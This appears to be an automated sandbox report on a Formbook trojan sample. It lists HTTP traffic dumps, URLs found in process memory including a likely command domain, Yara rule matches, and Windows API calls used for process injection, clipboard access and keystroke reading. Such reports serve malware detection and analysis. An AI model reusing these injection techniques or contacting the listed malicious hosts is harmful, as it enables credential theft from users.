Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:24:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:24:50 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6

Source: fZXsbVktlmkz.exe, 00000007.00000002.3554169610.0000000004A7C000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.polarmuseum.info
Source: fZXsbVktlmkz.exe, 00000007.00000002.3554169610.0000000004A7C000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.polarmuseum.info/9u26/
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap-icons
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-3.4.1.min.js
Source: write.exe, 00000006.00000002.3553914086.000000000531A000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002E7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://contacts.zoho.com/static/file?t=org&ID=456089&fs=thumb
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css2?family=Heebo:wght
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://htmlcodex.com
Source: write.exe, 00000006.00000002.3553914086.0000000005188000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002CE8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://htmlcodex.com/credit-removal
Source: write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfLMEM
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033c
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: write.exe, 00000006.00000003.2272928050.0000000002893000.00000004.00000020.00020000.00000000.sdmp, write.exe, 00000006.00000002.3551184016.0000000002882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: write.exe, 00000006.00000003.2272108522.0000000007574000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: write.exe, 00000006.00000002.3555877402.000000000759E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: write.exe, 00000006.00000002.3553914086.000000000531A000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002E7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.zoho.com/sites/?src=parkeddomain&dr=www.lanxuanz.tech
Source: write.exe, 00000006.00000002.3553914086.000000000531A000.00000004.10000000.00040000.00000000.sdmp, fZXsbVktlmkz.exe, 00000007.00000002.3552346753.0000000002E7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.zoho.com/sites/images/professionally-crafted-themes.png

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\r6lOHDg9N9.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C403 NtClose,	1_2_0042C403
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272B60 NtClose,LdrInitializeThunk,	1_2_03272B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03272DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272C70 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03272C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032735C0 NtCreateMutant,LdrInitializeThunk,	1_2_032735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03274340 NtSetContextThread,	1_2_03274340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03274650 NtSuspendThread,	1_2_03274650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272BA0 NtEnumerateValueKey,	1_2_03272BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272B80 NtQueryInformationFile,	1_2_03272B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272BE0 NtQueryValueKey,	1_2_03272BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272BF0 NtAllocateVirtualMemory,	1_2_03272BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272AB0 NtWaitForSingleObject,	1_2_03272AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272AF0 NtWriteFile,	1_2_03272AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272AD0 NtReadFile,	1_2_03272AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272F30 NtCreateSection,	1_2_03272F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272F60 NtCreateProcessEx,	1_2_03272F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272FA0 NtQuerySection,	1_2_03272FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272FB0 NtResumeThread,	1_2_03272FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272F90 NtProtectVirtualMemory,	1_2_03272F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272FE0 NtCreateFile,	1_2_03272FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272E30 NtWriteVirtualMemory,	1_2_03272E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272EA0 NtAdjustPrivilegesToken,	1_2_03272EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272E80 NtReadVirtualMemory,	1_2_03272E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272EE0 NtQueueApcThread,	1_2_03272EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272D30 NtUnmapViewOfSection,	1_2_03272D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272D00 NtSetInformationFile,	1_2_03272D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272D10 NtMapViewOfSection,	1_2_03272D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272DB0 NtEnumerateKey,	1_2_03272DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272DD0 NtDelayExecution,	1_2_03272DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272C00 NtQueryInformationProcess,	1_2_03272C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272C60 NtCreateKey,	1_2_03272C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272CA0 NtQueryInformationToken,	1_2_03272CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272CF0 NtOpenProcess,	1_2_03272CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272CC0 NtQueryVirtualMemory,	1_2_03272CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273010 NtOpenDirectoryObject,	1_2_03273010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273090 NtSetValueKey,	1_2_03273090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032739B0 NtGetContextThread,	1_2_032739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273D10 NtOpenProcessToken,	1_2_03273D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273D70 NtOpenThread,	1_2_03273D70
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C4650 NtSuspendThread,LdrInitializeThunk,	6_2_044C4650
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C4340 NtSetContextThread,LdrInitializeThunk,	6_2_044C4340
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2C60 NtCreateKey,LdrInitializeThunk,	6_2_044C2C60
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_044C2C70
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_044C2CA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_044C2D10
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_044C2D30
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2DD0 NtDelayExecution,LdrInitializeThunk,	6_2_044C2DD0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_044C2DF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_044C2EE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_044C2E80
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2F30 NtCreateSection,LdrInitializeThunk,	6_2_044C2F30
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2FE0 NtCreateFile,LdrInitializeThunk,	6_2_044C2FE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2FB0 NtResumeThread,LdrInitializeThunk,	6_2_044C2FB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2AD0 NtReadFile,LdrInitializeThunk,	6_2_044C2AD0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2AF0 NtWriteFile,LdrInitializeThunk,	6_2_044C2AF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2B60 NtClose,LdrInitializeThunk,	6_2_044C2B60
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_044C2BE0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_044C2BF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_044C2BA0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C35C0 NtCreateMutant,LdrInitializeThunk,	6_2_044C35C0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C39B0 NtGetContextThread,LdrInitializeThunk,	6_2_044C39B0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2C00 NtQueryInformationProcess,	6_2_044C2C00
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2CC0 NtQueryVirtualMemory,	6_2_044C2CC0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2CF0 NtOpenProcess,	6_2_044C2CF0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2D00 NtSetInformationFile,	6_2_044C2D00
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2DB0 NtEnumerateKey,	6_2_044C2DB0
Source: C:\Windows\SysWOW64\write.exe	Code function: 6_2_044C2E30 NtWriteVirtualMemory,	6_2_044C2E30
